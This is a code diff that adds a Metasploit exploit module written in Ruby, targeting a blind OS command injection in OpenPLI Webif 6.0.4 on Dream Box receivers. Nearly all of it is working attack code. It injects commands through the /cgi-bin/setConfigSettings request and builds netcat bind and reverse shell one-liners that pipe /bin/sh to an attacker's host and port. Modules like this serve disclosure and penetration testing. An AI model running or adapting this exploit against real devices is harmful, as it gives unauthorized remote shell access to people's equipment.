|
| 1 | + |
| 2 | +## |
| 3 | +# This file is part of the Metasploit Framework and may be subject to |
| 4 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 5 | +# web site for more information on licensing and terms of use. |
| 6 | +# http://metasploit.com/ |
| 7 | +## |
| 8 | + |
| 9 | +require 'msf/core' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Exploit::Remote |
| 12 | + include Msf::Exploit::Remote::Tcp |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'OpenPLI Webif v6.0.4 - Arbitrary Command Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS Command injection. |
| 20 | +
|
| 21 | + Tested on the following box: |
| 22 | + * Linux Kernel Linux version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) |
| 23 | + #1 Wed Aug 17 23:54:07 CEST 2011 |
| 24 | + * Firmware release 1.1.0, 27.01.2013 |
| 25 | + * FP Firmware 1.06 |
| 26 | + * Web Interface 6.0.4-Expert - PLi edition by [lite] |
| 27 | +
|
| 28 | + Note: This is a blind os command injection vulnerability. This means |
| 29 | + that you will not see any output of your command. Try a ping command |
| 30 | + to your local system for a first test. |
| 31 | + }, |
| 32 | + 'Author' => [ 'm-1-k-3' ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'URL', 'http://openpli.org/' ], |
| 37 | + [ 'URL', 'http://openpli.org/wiki/Webif' ], |
| 38 | + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ], |
| 39 | + [ 'EDB', '24498' ], |
| 40 | + [ 'OSVDB', '90230'] |
| 41 | + ], |
| 42 | + 'Platform' => ['unix', 'linux'], |
| 43 | + 'Arch' => ARCH_CMD, |
| 44 | + 'Privileged' => true, |
| 45 | + 'Payload' => |
| 46 | + { |
| 47 | + 'Space' => 1024, |
| 48 | + 'DisableNops' => true, |
| 49 | + 'Compat' => |
| 50 | + { |
| 51 | + 'PayloadType' => 'cmd', |
| 52 | + 'RequiredCmd' => 'netcat-e generic' |
| 53 | + } |
| 54 | + }, |
| 55 | + 'Targets' => |
| 56 | + [ |
| 57 | + [ 'Automatic Target', { }] |
| 58 | + ], |
| 59 | + 'DefaultTarget' => 0, |
| 60 | + 'DisclosureDate' => 'Feb 08 2013' |
| 61 | + )) |
| 62 | + |
| 63 | + register_options( |
| 64 | + [ |
| 65 | + Opt::RPORT(80), |
| 66 | + ], self.class) |
| 67 | + end |
| 68 | + |
| 69 | + def exploit |
| 70 | + connect |
| 71 | + |
| 72 | + payl = datastore['PAYLOAD'] |
| 73 | + |
| 74 | + uri = '/cgi-bin/setConfigSettings' |
| 75 | + |
| 76 | + if payl =~ /bind/ |
| 77 | + cmd = Rex::Text.uri_encode("mknod /tmp/backpipe p; nc -l -p #{lport} 0</tmp/backpipe | /bin/sh 1>/tmp/backpipe") |
| 78 | + elsif payl =~ /reverse/ |
| 79 | + cmd = Rex::Text.uri_encode("mknod /tmp/backpipe p; nc #{lhost} #{lport} 0</tmp/backpipe | /bin/sh 1>/tmp/backpipe") |
| 80 | + else |
| 81 | + #this is for typical command execution ... cmd/unix/generic |
| 82 | + cmd = Rex::Text.uri_encode(payload.encoded) |
| 83 | + end |
| 84 | + |
| 85 | + vprint_status("#{rhost}:#{rport} - Sending remote command ... \nCommand: #{cmd}") |
| 86 | + vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n") |
| 87 | + |
| 88 | + data_cmd = "?maxmtu=1500%26#{cmd}%26" |
| 89 | + |
| 90 | + begin |
| 91 | + res = send_request_cgi( |
| 92 | + { |
| 93 | + 'uri' => uri << data_cmd, |
| 94 | + 'method' => 'GET', |
| 95 | + }) |
| 96 | + |
| 97 | + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT |
| 98 | + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") |
| 99 | + return |
| 100 | + end |
| 101 | + |
| 102 | + if not res |
| 103 | + print_error("#{rhost}:#{rport} - HTTP Connection Error, Aborting") |
| 104 | + return |
| 105 | + end |
| 106 | + |
| 107 | + handler |
| 108 | + disconnect |
| 109 | + end |
| 110 | + |
| 111 | +end |
0 commit comments